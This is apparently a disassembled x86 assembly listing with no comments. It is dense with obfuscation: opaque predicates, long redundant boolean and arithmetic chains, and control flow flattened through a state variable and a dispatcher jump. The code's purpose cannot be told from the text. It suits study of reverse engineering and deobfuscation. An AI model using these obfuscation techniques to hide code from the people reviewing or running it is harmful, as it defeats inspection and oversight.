mov eax, dword [0x501544]
mov edx, ecx
sub edx, 0x5bdc7d0d
sub edx, 0x1ae8458b
add edx, 0x5bdc7d0d
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x45481f95
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0xecab22bc
add edx, 0x1ae8458b
add edx, 0xecab22bc
mov esi, 0x33fc1017
add esi, 0
sub esi, 1
sub esi, 0x33fc1017
sub edx, 0x6c94522d
add edx, esi
add edx, 0x6c94522d
sub edx, 0x88f8abdd
sub edx, 0xf2065ef1
add edx, 0x88f8abdd
xor esi, esi
sub esi, 0x45481f95
add edx, esi
sub edx, 0xe10d285e
add edx, 0xf2065ef1
add edx, 0xe10d285e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl ch
mov byte [ebp - 0x49b8d], ch
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov dh, cl
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov ah, 1
xor ah, 0
xor dl, 0xff
mov al, 1
xor al, 1
or ah, dl
or al, 1
xor ah, 0xff
and ah, al
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov al, dh
xor al, 0xff
mov bl, cl
xor bl, al
and bl, cl
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov bh, 1
xor bh, 0
mov al, dl
xor al, bh
and al, dl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov dl, ah
and dl, bl
xor ah, bl
or dl, ah
mov ah, al
and ah, dh
xor al, dh
or ah, al
mov dh, dl
xor dh, 0xff
mov al, ah
and al, dh
xor ah, 0xff
and dl, ah
or al, dl
mov byte [ebp - 0x49b77], al
mov dl, ch
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, ch
and al, ah
or dl, al
mov ah, 1
xor ah, 1
xor dl, 0xff
mov al, 1
xor al, 1
or ah, dl
or al, 1
xor ah, 0xff
and ah, al
mov dh, 1
xor dh, 1
and dh, 0
mov dl, 1
xor dl, 0
mov bl, dl
and bl, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or dh, bl
or al, dl
xor dh, al
xor ch, 0xff
mov dl, dh
xor dl, 0xff
mov al, 1
xor al, 1
or ch, dl
or al, 1
xor ch, 0xff
and ch, al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
xor al, 0xff
mov bl, 1
xor bl, 1
mov dl, 1
xor dl, 0
or al, bl
or dl, 0
xor al, 0xff
and al, dl
mov bh, 1
xor bh, 1
xor dh, 0xff
mov dl, 1
xor dl, 1
or bh, dh
or dl, 1
xor bh, 0xff
and bh, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x49b93], ah
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
and ah, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x49b93]
or bl, bh
xor ah, bl
or al, dh
xor al, 0xff
or ch, 0
and al, ch
or ah, al
mov ch, dl
xor ch, 0xff
mov al, ah
and al, ch
xor ah, 0xff
and dl, ah
or al, dl
mov byte [ebp - 0x49b7f], al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
xor bh, 0xff
xor bh, 0
and bh, 0
mov ch, 1
xor ch, 0
and ch, 0
mov dl, 1
xor dl, 0
mov ah, dl
and ah, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ch, ah
or al, dl
xor ch, al
mov al, 1
xor al, 1
mov ah, ch
xor ah, 0xff
mov dl, 1
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov dh, 1
xor dh, 1
and dh, 1
mov ah, 1
xor ah, 1
mov bl, ah
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or dh, bl
or dl, ah
xor dh, dl
xor dh, 0xff
mov ah, 1
xor ah, 0
mov dl, 1
xor dl, 0
or dh, ah
or dl, 0
xor dh, 0xff
and dh, dl
mov dl, 1
xor dl, 1
xor ch, 0xff
mov ah, 1
xor ah, 1
or dl, ch
or ah, 1
xor dl, 0xff
and dl, ah
mov byte [ebp - 0x49b90], dl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 1
mov ch, dl
and ch, 0xff
and bh, ah
mov byte [ebp - 0x49b92], bh
mov bh, bl
and bh, 0xff
and al, ah
mov byte [ebp - 0x49b91], al
mov al, byte [ebp - 0x49b92]
or ch, al
mov al, byte [ebp - 0x49b91]
or bh, al
mov al, byte [ebp - 0x49b90]
xor ch, bh
or dl, bl
xor dl, 0xff
or ah, 1
and dl, ah
or ch, dl
mov dl, dh
xor dl, 0xff
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ah, dl
and ah, 0
and dh, bl
mov byte [ebp - 0x49b8f], dh
mov dh, bh
and dh, 0
and al, bl
mov byte [ebp - 0x49b8e], al
mov al, byte [ebp - 0x49b8f]
or ah, al
mov al, byte [ebp - 0x49b8e]
or dh, al
mov al, byte [ebp - 0x49b8d]
xor ah, dh
mov dh, byte [ebp - 0x49b77]
or dl, bh
xor dl, 0xff
or bl, 0
and dl, bl
or ah, dl
mov bl, ch
xor bl, 0xff
and bl, 0
mov bh, 1
xor bh, 0
and ch, bh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, bh
or bl, ch
or dl, ah
xor bl, dl
mov byte [ebp - 0x49b76], bl
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
mov bh, 1
xor bh, 1
and bh, 1
mov dh, 1
xor dh, 1
mov ch, dh
and ch, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or bh, ch
mov ch, byte [ebp - 0x49b7f]
or dl, dh
xor bh, dl
mov dh, 1
xor dh, 1
and dh, 1
mov dl, 1
xor dl, 1
and dl, 1
or dh, dl
mov dl, ah
and dl, bh
xor ah, bh
or dl, ah
mov ah, dh
and ah, 1
xor dh, 1
or ah, dh
mov bh, dl
xor bh, 0xff
and bh, 1
mov dh, 1
xor dh, 1
and dl, dh
or bh, dl
xor bh, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or bh, ah
or dl, 1
xor bh, 0xff
and bh, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and cl, ah
or dl, cl
mov ah, bl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or ah, bl
or cl, dh
xor ah, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dh, 1
xor dh, 1
and dh, 1
or cl, dh
mov bl, dl
and bl, ah
xor dl, ah
or bl, dl
mov ah, cl
and ah, 1
xor cl, 1
or ah, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or cl, bl
or dl, dh
xor cl, dl
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
mov bl, 1
xor bl, 1
and bl, 1
mov cl, 1
xor cl, 1
and cl, 1
or bl, cl
mov ah, ch
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, bl
xor cl, 0xff
and cl, 0
and bl, dh
mov dh, byte [ebp - 0x49b7f]
or ah, ch
mov ch, byte [ebp - 0x49b76]
or cl, bl
xor ah, cl
xor dh, 0xff
mov cl, ah
xor cl, dh
and cl, ah
mov byte [ebp - 0x49b85], cl
mov bl, al
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and al, cl
or bl, al
mov al, ch
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov byte [ebp - 0x49b8a], cl
mov cl, bl
xor cl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dh, cl
and dh, 0
and bl, ah
mov byte [ebp - 0x49b8c], bl
mov bl, ch
and bl, 0
and al, ah
mov byte [ebp - 0x49b8b], al
mov al, byte [ebp - 0x49b8c]
or dh, al
mov al, byte [ebp - 0x49b8b]
or bl, al
mov al, byte [ebp - 0x49b8a]
xor dh, bl
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, dh
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, dh
or ah, ch
xor al, ah
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov al, bh
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
mov dh, bh
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, dh
or cl, ah
xor al, cl
mov byte [ebp - 0x49b89], al
mov dh, dl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov ah, dl
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, ah
or al, cl
xor dh, al
mov ah, 1
xor ah, 0
and ah, 1
mov bl, 1
xor bl, 1
mov al, bl
and al, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and bl, 1
or ah, al
mov al, byte [ebp - 0x49b89]
or cl, bl
xor ah, cl
mov cl, 1
xor cl, 0
mov bl, al
xor bl, cl
and bl, al
mov cl, ah
xor cl, 0xff
mov al, bh
xor al, cl
mov cl, byte [ebp - 0x49b89]
and al, bh
mov byte [ebp - 0x49b88], al
mov bh, 1
xor bh, 0
mov al, dh
xor al, bh
and al, dh
mov byte [ebp - 0x49b87], al
xor dl, 0xff
mov al, ah
xor al, 0xff
mov bh, 1
xor bh, 1
or dl, al
mov al, byte [ebp - 0x49b88]
or bh, 1
xor dl, 0xff
and dl, bh
mov bh, bl
and bh, al
xor bl, al
mov al, byte [ebp - 0x49b87]
or bh, bl
mov bl, al
and bl, dl
xor al, dl
or bl, al
mov al, bh
xor al, 0xff
and al, 0
mov byte [ebp - 0x49b86], al
mov al, 1
xor al, 0
and bh, al
mov dl, bl
xor dl, 0xff
and dl, 0
and bl, al
mov al, byte [ebp - 0x49b86]
or al, bh
or dl, bl
xor al, dl
mov dl, cl
and dl, dh
xor cl, dh
or dl, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and dl, dh
or cl, dl
mov dl, ah
and dl, 0
xor ah, 0
or dl, ah
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov dl, 1
xor dl, 1
mov ah, cl
and ah, 0xff
and al, dl
mov bl, dh
and bl, 0xff
and bh, dl
or ah, al
mov al, byte [ebp - 0x49b85]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or dh, cl
mov byte [ebp - 0x49b83], dh
mov bh, ch
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov cl, ch
and cl, dl
or bh, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
xor dh, 0xff
mov bl, 1
xor bl, 1
mov dl, 1
xor dl, 0
or dh, bl
or dl, 0
xor dh, 0xff
and dh, dl
xor al, 0xff
mov bl, cl
xor bl, 0xff
mov dl, 1
xor dl, 0
or al, bl
or dl, 0
xor al, 0xff
and al, dl
mov byte [ebp - 0x49b84], al
mov al, 1
xor al, 1
mov dl, bh
xor dl, al
and dl, bh
mov al, cl
xor al, 0xff
mov bl, ch
xor bl, al
mov al, byte [ebp - 0x49b84]
and bl, ch
mov ch, dh
and ch, al
xor dh, al
mov al, byte [ebp - 0x49b83]
or ch, dh
mov dh, dl
and dh, bl
xor dl, bl
or dh, dl
mov bl, ch
xor bl, 0xff
mov dl, dh
and dl, bl
xor dh, 0xff
and ch, dh
or dl, ch
mov byte [ebp - 0x49b7e], dl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x49b82], ch
mov dh, bh
xor dh, 0xff
mov dl, 1
xor dl, 1
and ch, 0xff
and al, dl
mov bl, dh
and bl, 0xff
and bh, dl
or ch, al
mov al, byte [ebp - 0x49b82]
or bl, bh
xor ch, bl
or al, dh
xor al, 0xff
or dl, 1
and al, dl
or ch, al
mov bh, ch
xor bh, 0xff
and bh, 0
mov dl, 1
xor dl, 0
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bh, ch
or al, dl
xor bh, al
mov dl, 1
xor dl, 1
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, dl
and ch, 0
mov al, dh
and al, 1
mov byte [ebp - 0x49b81], al
mov al, bl
and al, 0
mov byte [ebp - 0x49b80], al
mov al, byte [ebp - 0x49b81]
and cl, dh
or ch, al
mov al, byte [ebp - 0x49b80]
or al, cl
mov cl, byte [ebp - 0x49b7f]
xor ch, al
mov al, byte [ebp - 0x49b7e]
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or ch, dl
xor bh, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 1
or bh, ch
or dl, 1
xor bh, 0xff
and bh, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x49b7d], dl
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
and dl, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or dl, al
mov al, byte [ebp - 0x49b7d]
or bl, bh
xor dl, bl
or al, dh
xor al, 0xff
or ch, 0
and al, ch
or dl, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov al, ah
and al, dh
or ch, al
mov bh, 1
xor bh, 1
xor ch, 0xff
mov al, 1
xor al, 0
or bh, ch
or al, 0
xor bh, 0xff
and bh, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov dh, ch
xor dh, 0xff
mov al, ah
xor al, dh
and al, ah
mov ah, dl
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
mov dh, dl
and dh, bl
or ah, dh
mov bl, 1
xor bl, 1
mov dh, ah
xor dh, bl
and dh, ah
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov byte [ebp - 0x49b7a], dl
mov dl, bh
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov bl, dl
and bl, 0
and bh, ah
mov byte [ebp - 0x49b7c], bh
mov bh, ch
and bh, 0
and al, ah
mov byte [ebp - 0x49b7b], al
mov al, byte [ebp - 0x49b7c]
or bl, al
mov al, byte [ebp - 0x49b7b]
or bh, al
mov al, byte [ebp - 0x49b7a]
xor bl, bh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or bl, dl
mov dl, dh
xor dl, 0xff
mov bh, al
xor bh, 0xff
mov ah, 1
xor ah, 1
mov ch, dl
and ch, 0xff
and dh, ah
mov byte [ebp - 0x49b79], dh
mov dh, bh
and dh, 0xff
and al, ah
mov byte [ebp - 0x49b78], al
mov al, byte [ebp - 0x49b79]
or ch, al
mov al, byte [ebp - 0x49b78]
or dh, al
mov al, byte [ebp - 0x49b77]
xor ch, dh
mov dh, byte [ebp - 0x49b76]
or dl, bh
xor dl, 0xff
or ah, 1
and dl, ah
or ch, dl
mov dl, bl
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
and bl, bh
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bh
or dl, bl
or ah, ch
xor dl, ah
mov byte [ebp - 0x49b71], dl
mov bh, al
xor bh, 0xff
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 1
or bh, ah
or dl, 1
xor bh, 0xff
and bh, dl
mov dl, al
xor dl, 0xff
mov bl, cl
and bl, dl
xor cl, 0xff
and al, cl
or bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 1
mov cl, al
and cl, 0xff
and bh, dl
mov ch, ah
and ch, 0xff
and bl, dl
or cl, bh
or ch, bl
xor cl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dl, cl
and dl, ah
or al, dl
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov dl, 1
xor dl, 1
and dl, 1
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, ch
or cl, ah
xor al, cl
mov byte [ebp - 0x49b74], al
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
and ch, 1
or cl, ch
mov ch, 1
xor ch, 1
mov dh, al
xor dh, ch
and dh, al
mov bl, cl
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov al, ah
xor al, 0xff
mov ch, 1
xor ch, 1
mov bh, 1
xor bh, 0
or al, ch
mov ch, byte [ebp - 0x49b76]
or bh, 0
xor al, 0xff
and al, bh
mov byte [ebp - 0x49b75], al
xor ch, 0xff
mov al, cl
xor al, 0xff
mov bh, 1
xor bh, 0
or ch, al
mov al, byte [ebp - 0x49b75]
or bh, 0
xor ch, 0xff
and ch, bh
mov bh, dh
and bh, bl
xor dh, bl
or bh, dh
mov bl, al
and bl, ch
xor al, ch
or bl, al
mov ch, bh
xor ch, 0xff
and ch, 1
mov al, 1
xor al, 1
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0xff
and bl, al
mov al, byte [ebp - 0x49b74]
or ch, bh
or dh, bl
xor ch, dh
mov byte [ebp - 0x49b70], ch
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov dh, 1
xor dh, 1
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ch, dh
and ch, 0xff
mov al, bl
and al, 1
mov byte [ebp - 0x49b73], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x49b72], al
mov al, byte [ebp - 0x49b73]
and cl, bl
or ch, al
mov al, byte [ebp - 0x49b72]
or al, cl
mov cl, byte [ebp - 0x49b71]
xor ch, al
mov al, byte [ebp - 0x49b70]
or dh, bh
xor dh, 0xff
or bl, 1
and dh, bl
or ch, dh
xor ch, 0xff
mov bh, ah
xor bh, ch
and bh, ah
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x49b6f], dh
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
and dh, 0xff
and al, ah
mov bl, ch
and bl, 0xff
and bh, ah
or dh, al
mov al, byte [ebp - 0x49b6f]
or bl, bh
xor dh, bl
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or dh, al
mov ch, dh
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or ch, dh
or al, ah
xor ch, al
mov al, dl
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
mov dh, dl
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or al, dh
or ah, ch
xor al, ah
xor dl, 0xff
mov ch, al
xor ch, dl
and ch, al
mov al, cl
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
mov dh, cl
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, dh
or dl, ah
xor al, dl
mov byte [ebp - 0x49b67], al
mov bh, ch
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov dl, ch
and dl, ah
or bh, dl
mov dl, 1
xor dl, 1
and dl, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or dl, bl
or ah, dh
xor dl, ah
xor al, 0xff
mov dh, 1
xor dh, 1
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
xor cl, 0xff
mov dh, dl
xor dh, 0xff
mov ah, 1
xor ah, 1
or cl, dh
or ah, 1
xor cl, 0xff
and cl, ah
mov ah, bh
xor ah, 0xff
mov bl, 1
xor bl, 1
mov dh, 1
xor dh, 0
or ah, bl
or dh, 0
xor ah, 0xff
and ah, dh
mov byte [ebp - 0x49b6b], ah
mov dh, dl
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov byte [ebp - 0x49b6c], ah
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, ch
and ah, 0xff
and al, dh
mov byte [ebp - 0x49b6e], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x49b6d], al
mov al, byte [ebp - 0x49b6e]
and cl, dh
or ah, al
mov al, byte [ebp - 0x49b6d]
or al, cl
mov cl, byte [ebp - 0x49b6c]
xor ah, al
mov al, byte [ebp - 0x49b6b]
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or ah, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x49b68], ch
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
and ch, 0xff
and al, dh
mov byte [ebp - 0x49b6a], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x49b69], al
mov al, byte [ebp - 0x49b6a]
and cl, dh
or ch, al
mov al, byte [ebp - 0x49b69]
or al, cl
mov cl, byte [ebp - 0x49b68]
xor ch, al
mov al, byte [ebp - 0x49b67]
or cl, bl
xor cl, 0xff
or dh, 1
and cl, dh
or ch, cl
mov dh, ah
xor dh, 0xff
mov cl, ch
and cl, dh
xor ch, 0xff
and ah, ch
or cl, ah
mov byte [ebp - 0x49b66], cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x49b66]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa3cc7f74
mov ecx, 0x42752a28
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov dword [ebp - 0x49a70], 0x1fe31701
jmp 0x42c62f
mov eax, dword [ebp - 0x49a0c]
mov dword [ebp - 0x499c4], eax
mov eax, dword [ebp - 0x499fc]
add eax, 4
add eax, 2
mov dword [ebp - 0x499c0], eax
mov dword [ebp - 0x49a70], 0x74b5bfa7
jmp 0x42c62f
mov dword [ebp - 0x49a70], 0x87bcb26c
jmp 0x42c62f
mov eax, dword [ebp - 0x49a0c]
xor edx, edx
sub edx, 0xf02f9ca0
add edx, 0x9fc8a868
add edx, 0xf02f9ca0
sub edx, 0x477f1df6
sub edx, 1
add edx, 0x477f1df6
sub edx, 0xc56ed1d2
sub edx, 0x9fc8a868
add edx, 0xc56ed1d2
mov ecx, 0xebea90ad
add ecx, 0
sub ecx, edx
sub ecx, 0xebea90ad
sub eax, 0x6a5138a6
add eax, ecx
add eax, 0x6a5138a6
mov dword [ebp - 0x49a0c], eax
mov dword [ebp - 0x49a70], 0x9051ed3d
jmp 0x42c62f
mov ecx, dword [0x501548]
mov eax, dword [0x501544]
mov esi, 0xab4dc961
add esi, 0
sub esi, 1
sub esi, 0xab4dc961
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
xor edi, edi
sub edi, 0xd57c99d0
mov edx, ecx
add edx, edi
add edx, 0xfefd9984
add edx, esi
sub edx, 0xfefd9984
xor esi, esi
sub esi, 0xd57c99d0
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
mov byte [ebp - 0x49c65], bl
cmp eax, 0xa
setl dl
mov byte [ebp - 0x49c58], dl
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov ch, bl
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or cl, ch
or al, ah
xor cl, al
mov bh, 1
xor bh, 1
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov cl, 1
xor cl, 1
and cl, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 1
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, ch
or al, ah
xor cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, al
and cl, 0xff
and bh, ah
mov dh, ch
and dh, 0xff
and bl, ah
or cl, bh
or dh, bl
xor cl, dh
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov byte [ebp - 0x49c4d], cl
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov ah, dl
and ah, ch
or al, ah
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov ah, 1
xor ah, 1
and ah, 1
or ch, ah
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov ah, al
and ah, dl
xor al, dl
or ah, al
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dl, dh
or al, ch
xor dl, al
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
mov ch, 1
xor ch, 1
xor dh, 0xff
mov al, 1
xor al, 0
or ch, dh
or al, 0
xor ch, 0xff
and ch, al
mov al, dl
and al, ch
xor dl, ch
or al, dl
mov byte [ebp - 0x49c3e], al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov bl, 1
xor bl, 1
and bl, 1
mov cl, 1
xor cl, 1
and cl, 1
or bl, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dl, 1
xor dl, 1
and dl, 0
or cl, dl
mov byte [ebp - 0x49c68], cl
mov cl, al
xor cl, 0xff
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 1
mov bh, cl
and bh, 0xff
and al, dl
mov dh, ch
and dh, 0xff
and bl, dl
or bh, al
mov al, byte [ebp - 0x49c68]
or dh, bl
xor bh, dh
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or bh, cl
mov dl, 1
xor dl, 0
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov dh, dl
and dh, 0xff
mov cl, ch
and cl, 0
mov byte [ebp - 0x49c67], cl
mov cl, bl
and cl, 0xff
and al, ch
mov byte [ebp - 0x49c66], al
mov al, byte [ebp - 0x49c67]
or dh, al
mov al, byte [ebp - 0x49c66]
or cl, al
mov al, byte [ebp - 0x49c65]
xor dh, cl
mov cl, byte [ebp - 0x49c3e]
or dl, bl
xor dl, 0xff
or ch, 1
and dl, ch
or dh, dl
mov ch, bh
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dl, 1
xor dl, 1
and dl, 0xff
and bl, 1
or ch, bh
or dl, bl
xor ch, dl
xor dh, 0xff
mov dl, ch
xor dl, dh
and dl, ch
mov bh, al
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
and al, ch
or bh, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and cl, ch
or al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ch, 1
xor ch, 1
and ch, 0
or cl, ch
mov byte [ebp - 0x49c62], cl
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov cl, ch
and cl, 0
and bh, dh
mov byte [ebp - 0x49c64], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x49c63], al
mov al, byte [ebp - 0x49c64]
or cl, al
mov al, byte [ebp - 0x49c63]
or bh, al
mov al, byte [ebp - 0x49c62]
xor cl, bh
